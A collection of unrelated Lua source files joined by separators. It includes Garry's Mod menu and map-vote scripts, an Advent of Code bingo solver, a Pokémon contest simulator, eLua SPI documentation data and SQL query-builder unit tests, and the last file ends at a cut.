concommand.Add("lom", lom, nil, "Honestly no idea", FCVAR_UNREGISTERED)
function gamemenucommand(str)
RunGameUICommand(str)
end
local function FindInTable(tab, find, parents, depth)
depth = depth or 0
parents = parents or ""
if (not istable(tab)) then return end
if (depth > 3) then return end
depth = depth + 1
for k, v in pairs(tab) do
if (type(k) == "string") then
if (k and k:lower():find(find:lower())) then
Msg("\t", parents, k, " - (", type(v), " - ", v, ")\n")
end
if (istable(v) and k ~= "_R" and k ~= "_E" and k ~= "_G" and k ~= "_M" and k ~= "_LOADED" and k ~= "__index") then
local NewParents = parents .. k .. "."
FindInTable(v, find, NewParents, depth)
end
end
end
end
local function Find(ply, command, arguments)
if (IsValid(ply) and ply:IsPlayer() and not ply:IsAdmin()) then return end
if (not arguments[1]) then return end
Msg("Finding '", arguments[1], "':\n\n")
FindInTable(_G, arguments[1])
FindInTable(debug.getregistry(), arguments[1])
Msg("\n\n")
end
concommand.Add("lua_find_menu", Find, nil, "", {FCVAR_DONTRECORD})
local iter
iter = function(t, cb)
for k, v in next, t do
if istable(v) then
iter(v, cb)
else
cb(v, k)
end
end
end
hook.Add("MenuStart", "Menu2", function()
print"MenuStart"
end)
hook.Add("ConsoleVisible", "Menu2", function(is)
print(is and '\n<Console Activated>' or '\n<Console Deactivated>')
end)
hook.Add("InGame", "Menu2", function(is)
print(is and "InGame" or "Out of game")
end)
hook.Add("LoadingStatus", "Menu2", function(status)
print("LoadingStatus", status)
end)
local isingame = IsInGame()
local wasingame = false
local status = GetLoadStatus()
local console
local alt
hook.Add("Think", "Menu2", function()
alt = not alt
if alt then return end
local is = IsInGame()
if is ~= isingame then
isingame = is
wasingame = wasingame or isingame
hook.Call("InGame", nil, isingame)
end
local s = GetLoadStatus()
if s ~= status then
status = s
hook.Call("LoadingStatus", nil, status)
end
local s = gui.IsConsoleVisible()
if s ~= console then
console = s
hook.Call("ConsoleVisible", nil, console)
end
end)
function WasInGame()
return wasingame
end
local games = engine.GetGames()
local addons = engine.GetAddons()
hook.Add("GameContentChanged", "Menu2", function()
local games_new = engine.GetGames()
local _ = games
games = games_new
local games = _
local addons_new = engine.GetAddons()
local _ = addons
addons = addons_new
local addons = _
local wasmount = false
local wasaddon = false
for k, new in next, games_new do
local old = games[k]
assert(old.depot == new.depot)
if old.mounted ~= new.mounted then
print("MOUNT", new.title, new.mounted and "MOUNTED" or "UNMOUNTED")
wasmount = true
end
end
for k, new in next, addons_new do
local old
for k, v in next, addons do
if v.file == new.file then
old = v
break
end
end
if not old then
print("ADDON LOADED:", new.mounted and "(M)" or " ", new.title)
wasaddon = true
continue
end
assert(old.depot == new.depot)
if old.mounted ~= new.mounted then
print("MOUNT", new.title, "\t", new.mounted and "MOUNTED" or "UNMOUNTED")
wasaddon = true
end
end
for k, old in next, addons do
local new
for k, v in next, addons_new do
if v.file == old.file then
new = v
break
end
end
if not new then
MsgN("Removed ", old.title)
nothing = false
continue
end
end
if IsDeveloper(2) then
print("MENU: Unhandled GameContentChanged")
end
hook.Call("GameContentsChanged", nil, wasmount, wasaddon)
end)
SelectGamemode = function(g)
RunConsoleCommand("gamemode", g)
end
function SetMounted(game, yesno)
engine.SetMounted(game.depot, yesno == nil or yesno)
end
function SearchWorkshop(str)
str = string.JavascriptSafe(str)
str = "http://steamcommunity.com/workshop/browse?searchtext=" .. str .. "&childpublishedfileid=0§ion=items&appid=4000&browsesort=trend&requiredtags[]=-1"
gui.OpenURL(str)
end
if outdated then
R"showconsole"()
end
concommand.Add("whereis", function(_, _, _, path)
local absolutePath = util.RelativePathToFull_Menu(path, "GAME")
if (not absolutePath or not file.Exists(path, "GAME")) then
MsgN"File not found."
return
end
local relativePath = util.FullPathToRelative_Menu(absolutePath, "MOD")
-- If the relative path is inside the workshop dir, it's part of a workshop addon
if (relativePath and relativePath:match("^workshop[\\/].*")) then
local addonInfo = util.RelativePathToGMA_Menu(path)
-- Not here? Maybe somebody just put their own file in ./workshop
if (addonInfo) then
local addonRelativePath = util.RelativePathToFull_Menu(addonInfo.File)
MsgN("'", addonInfo.Title, "' - ", addonRelativePath)
return
end
end
MsgN(absolutePath)
end, nil, "Searches for the highest priority instance of a file within the GAME mount path.")
local function ValidateIP(ip)
if ip then
local chunks = {ip:match("^(%d+)%.(%d+)%.(%d+)%.(%d+):*")}
if (#chunks == 4) then
for _, v in pairs(chunks) do
if tonumber(v) > 255 then return false end
end
return true
end
end
end
function rejoinlast()
ip = file.Read("lastserver.txt", "DATA")
if not ValidateIP(ip) then
MsgN("No previous server.")
return
end
JoinServer(ip)
end
concommand.Add("rejoinlast", rejoinlast)
OriginalJoinServer = JoinServer
function JoinServer(ip)
file.Write("lastserver.txt", ip)
OriginalJoinServer(ip)
end |
require "UnLua"
local UMG_Main_C = Class()
function UMG_Main_C:Construct()
self.ExitButton.OnClicked:Add(self, UMG_Main_C.OnClicked_ExitButton)
--self.ExitButton.OnClicked:Add(self, function(Widget) UE.UKismetSystemLibrary.ExecuteConsoleCommand(Widget, "exit") end )
end
function UMG_Main_C:OnClicked_ExitButton()
UE.UKismetSystemLibrary.ExecuteConsoleCommand(self, "exit")
end
return UMG_Main_C
|
function readInput()
local lines = {}
local file = io.open("/uploads/input_04.txt", "r")
for line in file:lines() do
lines[#lines + 1] = compactWhitespaces(line:gsub("\r", ""))
end
file:close()
return lines
end
function parse(input)
local drawnNumbers = split(input[1], ",")
local boards = {}
local board = {}
for i = 3, #input do
line = input[i]
if line == "" then
boards[#boards + 1] = board
board = {}
else
board[#board + 1] = split(trim(line), " ")
end
end
boards[#boards + 1] = board
return drawnNumbers, boards
end
function compactWhitespaces(text)
return text:gsub("%s+", " ")
end
function trim(text)
return text:match("^%s*(.-)%s*$")
end
function split(text, delimiter)
parts = {}
for part in (text..delimiter):gmatch("(.-)"..delimiter) do
parts[#parts + 1] = part
end
return parts
end
function drawBoard(board)
for row = 1, #board do
for column = 1, #board[row] do
io.write(board[row][column])
io.write(" ")
end
io.write("\r")
end
end
function performMove(number, board)
local sumOfUnmarked = 0
for row = 1, #board do
for column = 1, #board[row] do
if board[row][column] == number then
board[row][column] = "x"
end
if board[row][column] ~= "x" then sumOfUnmarked = sumOfUnmarked + tonumber(board[row][column]) end
end
end
local won = false
local points = nil
for row = 1, #board do
if table.concat(board[row], "") == "xxxxx" then
won = true
points = sumOfUnmarked * number
break
end
end
for col = 1, #board[1] do
if board[1][col] == "x" and board[2][col] == "x" and board[3][col] == "x" and board[4][col] == "x" and board[5][col] == "x" then
won = true
points = sumOfUnmarked * number
break
end
end
return won, points
end
function countNonNil(values)
local count = 0
for k, v in pairs(values) do
if v ~= nil then count = count + 1 end
end
return count
end
function solvePuzzle1(input)
local drawnNumbers, boards = parse(input)
for k1, number in pairs(drawnNumbers) do
for k2, board in pairs(boards) do
local won, points = performMove(number, board)
if won then
print("points (first winner):", points) -- 2745
return
end
end
end
end
function solvePuzzle2(input)
local drawnNumbers, boards = parse(input)
for k1, number in pairs(drawnNumbers) do
for k2, board in pairs(boards) do
local won, points = performMove(number, board)
if won then
if countNonNil(boards) == 1 then
print("points (last winner):", points) -- 6594
end
boards[k2] = nil
end
end
end
end
input = readInput()
solvePuzzle1(input)
solvePuzzle2(input) |
util.AddNetworkString("RAM_MapVoteStart")
util.AddNetworkString("RAM_MapVoteUpdate")
util.AddNetworkString("RAM_MapVoteCancel")
util.AddNetworkString("RTV_Delay")
MapVote.Continued = false
net.Receive("RAM_MapVoteUpdate", function(len, ply)
if(MapVote.Allow) then
if(IsValid(ply)) then
local update_type = net.ReadUInt(3)
if(update_type == MapVote.UPDATE_VOTE) then
local map_id = net.ReadUInt(32)
if(MapVote.CurrentMaps[map_id]) then
MapVote.Votes[ply:SteamID()] = map_id
net.Start("RAM_MapVoteUpdate")
net.WriteUInt(MapVote.UPDATE_VOTE, 3)
net.WriteEntity(ply)
net.WriteUInt(map_id, 32)
net.Broadcast()
end
end
end
end
end)
if file.Exists( "mapvote/recentmaps.txt", "DATA" ) then
recentmaps = util.JSONToTable(file.Read("mapvote/recentmaps.txt", "DATA"))
else
recentmaps = {}
end
if ConVarExists("mv_maplimit") then
PHX.VerboseMsg("[MapVote] Loading ConVars...")
MapVote.Config = {
MapLimit = GetConVar("mv_maplimit"):GetInt(),
TimeLimit = GetConVar("mv_timelimit"):GetInt(),
AllowCurrentMap = GetConVar("mv_allowcurmap"):GetBool(),
EnableCooldown = GetConVar("mv_cooldown"):GetBool(),
MapsBeforeRevote = GetConVar("mv_mapbeforerevote"):GetBool(),
RTVPlayerCount = GetConVar("mv_rtvcount"):GetInt(),
MapPrefixes = string.Explode(",", GetConVar("mv_map_prefix"):GetString():lower())
}
else
MapVote.Config = {}
end
local conv = {
["mv_maplimit"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.MapLimit = tonumber(new)
end
end,
["mv_timelimit"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.TimeLimit = tonumber(new)
end
end,
["mv_allowcurmap"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.AllowCurrentMap = tobool(new)
end
end,
["mv_cooldown"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.EnableCooldown = tobool(new)
end
end,
["mv_mapbeforerevote"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.MapsBeforeRevote = tobool(new)
end
end,
["mv_rtvcount"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.RTVPlayerCount = tonumber(new)
end
end,
["mv_map_prefix"] = function(cvar,old,new)
if new && (new != nil || new != "") then
MapVote.Config.MapPrefixes = string.Explode(",", new:lower())
end
end
}
-- Precheck when the convar is changed
for cvar,func in pairs(conv) do
PHX.VerboseMsg("[MapVote] Adding ConVar Callbacks for: "..cvar)
cvars.AddChangeCallback(cvar, func)
end
function CoolDownDoStuff()
cooldownnum = MapVote.Config.MapsBeforeRevote or 3
if table.getn(recentmaps) == cooldownnum then
table.remove(recentmaps)
end
local curmap = game.GetMap():lower()..".bsp"
if not table.HasValue(recentmaps, curmap) then
table.insert(recentmaps, 1, curmap)
end
file.Write("mapvote/recentmaps.txt", util.TableToJSON(recentmaps))
end
function MapVote.GetFromULX()
if (!ulx or ulx == nil or !ulx.votemaps or ulx.votemaps == nil) then
print("[!PHX] Warning: ULX is not installed, can't get any votemap information!")
return {}
end
return ulx.votemaps
end
function MapVote.Start(length, current, limit, prefix)
current = current or MapVote.Config.AllowCurrentMap or false
length = length or MapVote.Config.TimeLimit or 28
limit = limit or MapVote.Config.MapLimit or 24
cooldown = MapVote.Config.EnableCooldown or true
prefix = prefix or MapVote.Config.MapPrefixes
local is_expression = false
local ulxmap = MapVote.GetFromULX()
if not prefix then
local info = file.Read(GAMEMODE.Folder.."/"..GAMEMODE.FolderName..".txt", "GAME")
if(info) then
local info = util.KeyValuesToTable(info)
prefix = info.maps
else
error("MapVote Prefix can not be loaded from gamemode")
end
is_expression = true
else
if prefix and type(prefix) ~= "table" then
prefix = {prefix}
end
end
local maps = {}
if GetConVar("mv_use_ulx_votemaps"):GetBool() and (ulxmap or ulxmap ~= nil) then
for _,map in pairs(ulxmap) do
table.insert(maps, map..".bsp")
end
else
maps = file.Find("maps/*.bsp", "GAME")
end
local vote_maps = {}
local amt = 0
for k, map in RandomPairs(maps) do
local mapstr = map:sub(1, -5):lower()
if(not current and game.GetMap():lower()..".bsp" == map) then continue end
if(cooldown and table.HasValue(recentmaps, map)) then continue end
if is_expression then
if(string.find(map, prefix)) then -- This might work (from gamemode.txt)
vote_maps[#vote_maps + 1] = map:sub(1, -5)
amt = amt + 1
end
else
for k, v in pairs(prefix) do
if string.find(map, "^"..v) then
vote_maps[#vote_maps + 1] = map:sub(1, -5)
amt = amt + 1
break
end
end
end
if(limit and amt >= limit) then break end
end
net.Start("RAM_MapVoteStart")
net.WriteUInt(#vote_maps, 32)
for i = 1, #vote_maps do
net.WriteString(vote_maps[i])
end
net.WriteUInt(length, 32)
net.Broadcast()
MapVote.Allow = true
MapVote.CurrentMaps = vote_maps
MapVote.Votes = {}
timer.Create("RAM_MapVote", length, 1, function()
MapVote.Allow = false
local map_results = {}
for k, v in pairs(MapVote.Votes) do
if(not map_results[v]) then
map_results[v] = 0
end
for k2, v2 in pairs(player.GetAll()) do
if(v2:SteamID() == k) then
if(MapVote.HasExtraVotePower(v2)) then
map_results[v] = map_results[v] + 2
else
map_results[v] = map_results[v] + 1
end
end
end
end
CoolDownDoStuff()
local winner = table.GetWinningKey(map_results) or 1
net.Start("RAM_MapVoteUpdate")
net.WriteUInt(MapVote.UPDATE_WIN, 3)
net.WriteUInt(winner, 32)
net.Broadcast()
local map = MapVote.CurrentMaps[winner]
timer.Simple(4, function()
hook.Run("MapVoteChange", map)
RunConsoleCommand("changelevel", map)
end)
end)
end
hook.Add( "Shutdown", "RemoveRecentMaps", function()
if file.Exists( "mapvote/recentmaps.txt", "DATA" ) then
file.Delete( "mapvote/recentmaps.txt" )
end
end )
function MapVote.Cancel()
if MapVote.Allow then
MapVote.Allow = false
net.Start("RAM_MapVoteCancel")
net.Broadcast()
timer.Destroy("RAM_MapVote")
end
end
|
-- The main part: how a contest works!
require "contest/move"
require "contest/pokemon"
Contest = {}
--[[
In contests, there is a relation between conditions.
Excitement: +1 heart +1 star, when same contest-condition move-condition. (e.g. Cool -> Cool contest)
Indifference: Nothing changes. (e.g. Beautiful and Tough -> Cool contest)
Discontent: -1 heart -1 star. (e.g. Clever and Cute -> Cool contest)
In this table there are the move conditions that generates discontent when used in a specific condition contest.
Example:
A = {"B", "C"}
When using a B or C move in a A contest, generates discontent.
]]
discontent = {
Cool = {"Clever", "Cute"},
Beautiful = {"Clever", "Tough"},
Cute = {"Cool", "Tough"},
Cleverness = {"Beautiful", "Cool"},
Tough = {"Beautiful", "Cute"}
}
-- In contests, there are some moves that makes a combo. If it happens, i.e. two moves of a combo are performed , there is a +3 bonus.
combo = {
["Rain Dance"] = "Weather Ball",
["Sunny Day"] = "Weather Ball",
["Hail"] = "Weather Ball",
["Agility"] = "Baton Pass",
["Agility"] = "Electro Ball"
}
function Contest:new(condition, pokemons, verbose)
assert(condition == "Cool" or condition == "Beautiful" or condition == "Cute" or condition == "Clever" or condition == "Tough", condition .. " is not a valid condition.") -- check if it's provided a valid condition...
assert(#pokemons == 4, "There must be 4 participants.") -- and 4 participants.
local contest = {
condition = condition, -- condition of the contest.
pokemons = pokemons, -- the 4 Pokémon participants, in the correct order. Important: each one must have a different name.
stars = 0, -- how much stars the star meter has, max is 5.
turn = 1, -- turn number, max is 5.
dampen = false, -- whether the enthusiasm is dampened or not. If dampened, stores the name of the Pokémon that made it.
verbose = verbose, -- show or not info about the contest.
fixedord = {}, -- all the Pokémon that have a fixed order. Index are Pokémon names, values means priority: the higher the first.
randomoutcomes = {} -- contains all the choices made by random events (e.g. if a Pokémon is nervous or not or the order in case of tie), must be filled for the right move made by the right player if we want the random events to have a specific outcome. Essential for simulations.
}
-- Events is where all what happens goes, to be represented graphically (or textually).
if contest.verbose then
-- Only if we must show info about the contest, make the event table.
contest.events = {} -- TODO change events so that it has event[turn][pokemon]
require "contest/interface" -- and require all you need to display the info.
end
-- Set prototype.
setmetatable(contest, self)
self.__index = self
self.__tostring = self.tostring
return contest
end
function Contest:tostring()
--[[
Format as a string, as follows:
★★☆☆☆
1. Machoke 💔
2. Masquerain ♥♥
3. Vileplume ♥♥♥
4. Gorebyss ♥♥♥♥
]]
local s = ""
-- Print the star meter.
for i = 1, self.stars do s = s .. "★" end
for i = self.stars+1, 5 do s = s .. "☆" end
s = s .. "\n"
-- Print all participants with hearts and statuses.
for i, pokemon in pairs(self.pokemons) do
local h, hearts, sym, status = "", math.abs(pokemon.hearts), "", ""
if pokemon.protection == 1 then status = status .. "x" elseif pokemon.protection == 2 then status = status .. "X" end
if pokemon.nervous == true then status = status .. "~" end
if pokemon.hearts >= 0 then sym = "♥" else sym = "💔" end
for i = 1, hearts do h = h .. sym end
s = s .. i .. ". " .. pokemon.name .. " " .. status .. "\t" .. h .. "\n"
end
return s
end
function Contest:clone()
-- Clone the contest.
local pokemons = {}
for i = 1, #self.pokemons do pokemons[i] = self.pokemons[i]:clone() end
local clone = Contest:new(self.condition, pokemons, self.verbose)
clone.stars = self.stars
clone.turn = self.turn
clone.dampen = self.dampen
clone.fixedord = objclone(self.fixedord)
clone.randomoutcomes = objclone(self.randomoutcomes)
if self.verbose then clone.events = objclone(self.events) end
return clone
end
function Contest:doMove(pi, mi)
local pokemon, move = self.pokemons[pi], self.pokemons[pi].moves[mi] -- current Pokémon moving and current move used.
local repeated = (move.name == pokemon.prevmove) -- has it executed the same move used the previous turn?
if move.trigger == "repeat" then repeated = false end -- if the move trigger is repeat, it means that the repeat malus should not be applied.
-- Execute the move appeal and appeal effect.
self:addEvent{"appeal", pokemon = pokemon.name, move = move.name} -- "<Pokémon> si esibisce con <mossa>!"
if move.trigger == "start" then move:effect(self, pi) end -- execute move effect to execute at the start.
if move.trigger == "appeal" then
pokemon.hearts = pokemon.hearts + move:effect(self, pi)
-- In this case, the event history is handled by the move:effect function!
else
pokemon.hearts = pokemon.hearts + move.appeal
self:addEvent{"addhearts", hearts = move.appeal}
end
-- Execute the jam, if the move has jam effect and the active Pokémon is not the first (since it will have no Pokémon to jam).
if move.jam > 0 then
self:addEvent{"startle"} -- "Cerca di spaventare gli avversari!"
local success = false -- -- true if at least one of the previoys Pokémons get startled.
for i = 1, pi-1 do
-- If the jam must be executed only on the previous one, execute the loop just once (when the index reach the previous Pokémon). Else, execute the whole loop.
-- This is to use the same code for jamall and jamonce.
if (not move.jamall and i == pi-1) or move.jamall then
local prev = self.pokemons[i]
-- If there is no protection or user committed suicide (4 means it has committed suicide in a previous turn: in fact, if it has committed suicide in the current turn it can be startled), jam.
if prev.protection == 0 and prev.cantmove ~= 4 then
local jam
if move.trigger == "jam" then jam = move:effect(self, i)
else jam = move.jam end
if prev.easystartle == true then
prev.hearts = prev.hearts - jam*2
self:addEvent{"removehearts", hearts = jam*2, pokemon = prev.name}
else
prev.hearts = prev.hearts - jam
self:addEvent{"removehearts", hearts = jam, pokemon = prev.name}
end
success = true
else -- if there is protection, no jam!
-- If the Pokémon is just protected once, remove the protection now that it has protected.
if prev.protection == 1 then
prev.protection = 0
self:addEvent{"removeprotect", pokemon = prev.name}
end
end
end
end
if not success then self:addEvent{"miss"} end -- "Ma non ce la fa!"
end
if move.trigger == "end" then move:effect(self, pi) end -- execute move effect to execute at the end.
-- Additional effects.
-- Combo bonus: check if it is a combo move and if it has made a combo.
if table.haskey(combo, move.name) then self:addEvent{"cancombo"} end -- "Il pubblico si aspetta molto dalla prossima combinazione!"
if table.haskey(combo, pokemon.prevmove) and combo[pokemon.prevmove] == move.name then
self:addEvent{"combo"} -- "Il pubblico ha apprezzato molto la combinazione con l'esibizione precedente!"
pokemon.hearts = pokemon.hearts + 3 -- the combo increases hearts by 3.
self:addEvent{"addhearts", hearts = 3}
end
-- Repeat malus: same move executed twice in a row gives -1 hearts and doesn't make the crowd excited.
if repeated then
self:addEvent{"repeated", pokemon = pokemon.name} -- "<Pokémon> delude il pubblico ripetendo la stessa esibizione!"
pokemon.hearts = pokemon.hearts - 1
self:addEvent{"addhearts", hearts = -1}
end
-- Same condition bonus: if the move and the contest has the same condition, add a heart and a star.
-- Not applied if repeated move or Pokémon has earned no hearts or dampened crowd (but still applied if the Pokémon is the same that dampened the crowd, remember that self.dampen keeps the name of the Pokémon that dampened the crowd if any).
if move.condition == self.condition and pokemon.hearts ~= 0 and not repeated and (not self.dampen or self.dampen == pokemon.name) then
-- If the move has a special trigger related to the star meter and the condition is satisfied, double the stars.
local stars
if move.trigger == "stars" then
stars = move:effect(self, pi)
else
stars = 1
self:addEvent{"excited", condition = self.condition, pokemon = pokemon.name} -- "Il pubblico è entusiasta della <virtù> di <Pokémon>!"
end
local hearts = stars -- remember: if the effect adds two star but we can add only one, we add anyway two hearts.
if self.stars + stars > 5 then stars = 5 - self.stars end
self.stars = self.stars + stars
self:addEvent{"addstars", stars = stars}
pokemon.hearts = pokemon.hearts + hearts
self:addEvent{"addhearts", hearts = hearts}
elseif move.condition == self.condition and pokemon.hearts ~= 0 and not repeated and self.dampen then
self:addEvent{"dampen1", dampener = self.dampen}
self:addEvent{"dampen2", condition = self.condition, pokemon = pokemon.name}
end
-- Discontent malus: if the move generates discontent, remove a heart and a star.
if move.condition == discontent[self.condition][1] or move.condition == discontent[self.condition][2] then
self:addEvent{"discontent", condition = move.condition, pokemon = pokemon.name} -- Il pubblico non sembra colpito dalla <virtù> di <Pokémon>...
if self.stars ~= 0 then
self.stars = self.stars - 1
self:addEvent{"addstars", stars = -1}
end
pokemon.hearts = pokemon.hearts - 1
self:addEvent{"addhearts", hearts = -1}
-- Remember: if 0 stars, the stars remains the same but the heart is removed anyway.
end
-- Excitement bonus: If the star meter reaches 5 stars, add 5 hearts and reset the meter.
if self.stars == 5 then
self:addEvent{"fascinated1", condition = self.condition, pokemon = pokemon.name} -- "Il pubblico è incantato dalla <virtù> di <Pokémon>!"
self:addEvent{"fascinated2", condition = self.condition, pokemon = pokemon.name} -- "La Bellezza di <Pokémon> è quasi accecante!" (varia in base alla virtù)
self:addEvent{"fascinated3"} -- "L'Esibizione Live ha lasciato il pubblico a bocca aperta!"
pokemon.hearts = pokemon.hearts + 5
self:addEvent{"addhearts", hearts = 5}
self.stars = 0
self:addEvent{"resetstars"}
end
end
function Contest:doTurn(moves)
-- Moves are given by the pair (Pokémon name, move number).
-- Important: In this implementation, the Pokémon name is unique, so each Pokémon must have a different name.
assert(self.turn < 6, "The contests end after 5 turns") -- error if turn is 6 or above.
if self.verbose then self.events[self.turn] = {} end -- start the events for the turn.
-- Execute the moves, one for each of the participants, in the correct order.
for i = 1, 4 do
local pokemon = self.pokemons[i]
self:addEvent{"turn", pokemon = pokemon.name}
if not pokemon.nervous and pokemon.cantmove == 0 then
self:doMove(i, moves[pokemon.name])
pokemon.prevmove = pokemon.moves[moves[pokemon.name]].name -- save the move used, so that if the next turn the move is repeated the malus applies.
else
if pokemon.nervous then
self:addEvent{"nervous", pokemon = pokemon.name} -- "<Pokémon> non riesce a esibirsi per l'emozione!"
end
if pokemon.cantmove > 0 then
self:addEvent{"cantmove", pokemon = pokemon.name} -- "<Pokémon> non può far altro che stare a guardare!"
end
end
-- Save the current state.
self:addEvent{"state", state = self:tostring()}
end
-- Choose the order for the next turn, if tie choose randomly.
-- In the table fixedord there are the name of the Pokémons that must have a fixed order (first ones or last ones) associated to a priority value.
-- The algorithm generates for every Pokémon a random number in (0,1) if no priority is given. Then there is comparison:
-- - if both Pokémon have different hearts and no priority, first is the one with most hearts (since hearts are integer the random number is ininfluent);
-- - if both Pokémon have the same hearts, the random number decides who goes first;
-- - if a Pokémon has the priority, it's always first: priorities are multiple of 1000, in fact.
-- See http://stackoverflow.com/questions/32069912/lua-sort-table-and-randomize-ties for further information.
if self.randomoutcomes.fixedord then self.fixedord = self.randomoutcomes.fixedord end -- if the order has been fixed, set it.
local rnd = self.fixedord
table.sort(self.pokemons,
function (a, b)
rnd[a.name] = rnd[a.name] or math.random()
rnd[b.name] = rnd[b.name] or math.random()
return a.hearts + rnd[a.name] > b.hearts + rnd[b.name]
end)
-- Update the events to add the new order.
local pokemons = {}
for i = 1, 4 do pokemons[i] = self.pokemons[i].name end
self:addEvent{"order", pokemons = pokemons}
-- Reset all the participants.
for i, pokemon in pairs(self.pokemons) do
pokemon.tothearts = pokemon.tothearts + pokemon.hearts
pokemon.hearts = 0
pokemon.protection = 0
pokemon.easystartle = false
pokemon.nervous = false
if pokemon.cantmove == 1 then pokemon.cantmove = 0
elseif pokemon.cantmove == 2 then pokemon.cantmove = 1
elseif pokemon.cantmove == 3 then pokemon.cantmove = 4 end
end
-- The current turn has ended. Reset all contest stuff.
self.turn = self.turn + 1
self.dampen = false
self.fixedord = {}
self.randomoutcomes = {}
-- If we finished all the 5 turns, sort the Pokémons by total hearts earned.
if self.turn == 6 then
local rnd = {}
table.sort(self.pokemons,
function (a, b)
rnd[a.name] = rnd[a.name] or math.random()
rnd[b.name] = rnd[b.name] or math.random()
return a.tothearts + rnd[a.name] > b.tothearts + rnd[b.name]
end)
-- Update the events to add the final result. Overwrite the last order, that has no importance.
local pokemons, hearts = {}, {}
for i = 1, 4 do pokemons[i] = self.pokemons[i].name end
for i = 1, 4 do hearts[i] = self.pokemons[i].tothearts end
if self.verbose then self.events[5][#self.events[5]] = {"result", pokemons = pokemons, hearts = hearts} end
end
end
function Contest:isEnded()
-- Return true if the contest has endend, i.e. we passed through all the 5 turns.
return self.turn == 6
end
function Contest:printResult()
-- Print the final result of the contest.
assert(self:isEnded(), "The contest is not yet ended, you can't have the result.")
local s = "-- Results --\n"
for i, pokemon in pairs(self.pokemons) do
s = s .. i .. ". " .. pokemon.name .. "\t" .. pokemon.tothearts .. "♥\n"
end
print(s)
end
function Contest:getResult()
-- Return the name of the winner.
assert(self:isEnded(), "The contest is not yet ended, you can't have the result.")
return self.pokemons[1].name
end
function Contest:shuffleOrder()
-- Shuffle the starting order.
for i = 1, 4 do
local j = math.random(4)
self.pokemons[i], self.pokemons[j] = self.pokemons[j], self.pokemons[i]
end
end
function Contest:getLastPokemonToAppeal(pi)
-- Return the last Pokémon that has made an appeal.
local i = pi-1
-- Remember: if cantmove == 0 the Pokémon can move and has moves, and if cantmove == 3 the Pokémon has just made a suicide move but yet has moved, so you must not skip it.
while i > 0 and (self.pokemons[i].nervous or self.pokemons[i].cantmove == 1 or self.pokemons[i].cantmove == 4) do
i = i - 1
end
return i
end
function Contest:addEvent(event)
if self.verbose then
table.insert(self.events[self.turn], event)
end
end
function Contest:printEvents(turn)
printEvents(self.events, turn)
end |
-- eLua reference manual - SPI module
data_en =
{
-- Title
title = "eLua reference manual - SPI module",
-- Menu name
menu_name = "spi",
-- Overview
overview = [[This module contains functions for accessing the SPI interfaces of the eLua CPU.</p>
<p><span class="warning">IMPORTANT</span>: right now, only master SPI mode is implemented in eLua.]],
-- Functions
funcs =
{
{ sig = "clock = #spi.setup#( id, type, clock, cpol, cpha, databits )",
desc = "Setup the SPI interface",
args =
{
"$id$ - the ID of the SPI interface.",
"$type$ - SPI interface type, can be either $spi.MASTER$ or $spi.SLAVE$. $NOTE: currently, only master SPI mode is supported$.",
"$clock$ - the clock of the SPI interface.",
"$cpol$ - the clock polarity (0 or 1).",
"$cpha$ - the clock phase (0 or 1).",
"$databits$ - the length of the SPI data word.",
},
ret = "The actual clock set on the SPI interface. Depending on the hardware, this might have a different value than the $clock$ parameter."
},
{ sig = "#spi.sson#( id )",
desc = "Select the SS line (Slave Select) of the SPI interface. This is only applicable for SPI interfaces with a dedicated SS pin.",
args = "$id$ - the ID of the SPI interface.",
},
{ sig = "#spi.ssoff#( id )",
desc = "Deselect the SS line (Slave Select) of the SPI interface. This is only applicable for SPI interfaces with a dedicated SS pin.",
args = "$id$ - the ID of the SPI interface.",
},
{ sig = "#spi.write#( id, data1, [data2], ..., [datan] )",
desc = "Write one or more strings/numbers to the SPI interface.",
args =
{
"$id$ - the ID of the SPI interface.",
"$data1$ - the first string/number to send.",
"$data2 (optional)$ - the second string/number to send.",
"$datan (optional)$ - the %n%-th string/number to send."
},
},
{ sig = "#spi.readwrite#( id, data1, [data2], ..., [datan] )",
desc = "Write one or more strings/numbers to the SPI interface and return the data read from the same interface.",
args =
{
"$id$ - the ID of the SPI interface.",
"$data1$ - the first string/number to send.",
"$data2 (optional)$ - the second string/number to send.",
"$datan (optional)$ - the %n%-th string/number to send."
},
ret = "An array with all the data read from the SPI interface."
}
},
}
data_pt = data_en
|
---
--- See LICENSE file in top directory for copyright information
local Store = require "ActiveLua.Store.SQL"
require "lunit"
lunit.setprivfenv()
lunit.import "assertions"
lunit.import "checks"
--
-- SQL Constructs
--
local sql = lunit.TestCase("SQL Construction")
function sql:test_basic()
local str = Store:_sqlConstructSelect("people")
assert_equal("SELECT * FROM people", str)
end
function sql:test_limitOffset()
local str = Store:_sqlConstructSelect ("people", nil, {
limit = 10
})
assert_equal("SELECT * FROM people LIMIT 10", str)
local str = Store:_sqlConstructSelect ("people", nil, {
limit = 10,
offset = 2
})
assert_equal("SELECT * FROM people LIMIT 10 OFFSET 2", str)
end
function sql:test_orderBy()
local str = Store:_sqlConstructSelect ("people", nil, {
order = "firstName ASC"
})
assert_equal("SELECT * FROM people ORDER BY firstName ASC", str)
local str = Store:_sqlConstructSelect("people", nil, {
order = "firstName ASC, lastName DESC"
})
assert_equal("SELECT * FROM people ORDER BY firstName ASC, lastName DESC", str)
end
function sql:test_select()
local str = Store:_sqlConstructSelect ("people", nil, {
select = "id, firstName"
})
assert_equal("SELECT id, firstName FROM people", str)
end
function sql:test_criteria()
local str = Store:_sqlAddCriteria("", 1)
assert_equal(" WHERE id = 1", str)
local str = Store:_sqlAddCriteria("", "magic=5")
assert_equal(" WHERE magic=5", str)
local str = Store:_sqlAddCriteria("", { age = 25, id = {21, 22, 23}})
assert_equal(" WHERE age = 25 AND id IN ( 21, 22, 23 )", str)
local str = Store:_sqlAddCriteria("", { id = {22}; age = 25 })
assert_equal(" WHERE id = 22 AND age = 25", str)
assert_error("Expected sql conversion error", function()
Store:_sqlAddCriteria("", { id = {}})
end)
end
function sql:test_join()
local str = Store:_sqlAddJoin("", "project", {
tableName = "developerproject",
on = {id = "project_id"}
})
assert_equal(" INNER JOIN developerproject ON project.id = developerproject.project_id", str)
local str = Store:_sqlAddJoin("", "project", {
type = "OUTER",
tableName = "developerproject",
on = {id = "project_id"}
})
assert_equal(" OUTER JOIN developerproject ON project.id = developerproject.project_id", str)
